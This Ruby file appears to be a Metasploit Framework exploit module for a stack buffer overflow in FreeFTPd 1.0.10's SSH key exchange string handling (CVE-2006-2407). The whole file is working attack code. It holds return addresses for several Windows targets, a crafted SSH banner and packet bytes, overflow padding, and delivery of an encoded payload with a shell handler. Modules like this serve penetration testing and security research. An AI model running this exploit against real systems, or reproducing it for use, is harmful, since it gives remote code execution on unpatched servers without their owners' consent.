82 lines
2.4 KiB
Ruby
82 lines
2.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow',
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'Description' => %q{
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This module exploits a simple stack buffer overflow in FreeFTPd 1.0.10
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This flaw is due to a buffer overflow error when handling a specially
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crafted key exchange algorithm string received from an SSH client.
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This module is based on MC's freesshd_key_exchange exploit.
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},
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'Author' => 'riaf <riaf[at]mysec.org>',
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'License' => BSD_LICENSE,
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'References' =>
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[
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['CVE', '2006-2407'],
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['OSVDB', '25569'],
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['BID', '17958'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x750231e2 } ],
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[ 'Windows 2000 SP0-SP4 German', { 'Ret' => 0x74f931e2 } ],
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[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1d54 } ],
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[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],
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],
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'Privileged' => true,
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'DisclosureDate' => 'May 12 2006',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(22)
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], self.class)
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end
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def exploit
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connect
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sploit = "SSH-2.0-OpenSSH_3.9p1"
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sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
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sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
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sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
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sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"
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res = sock.recv(40)
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if ( res =~ /SSH-2\.0-WeOnlyDo-wodFTPD 2\.1\.8\.98/)
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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else
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print_status("Not running a vulnerable version...")
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end
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handler
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disconnect
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end
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end
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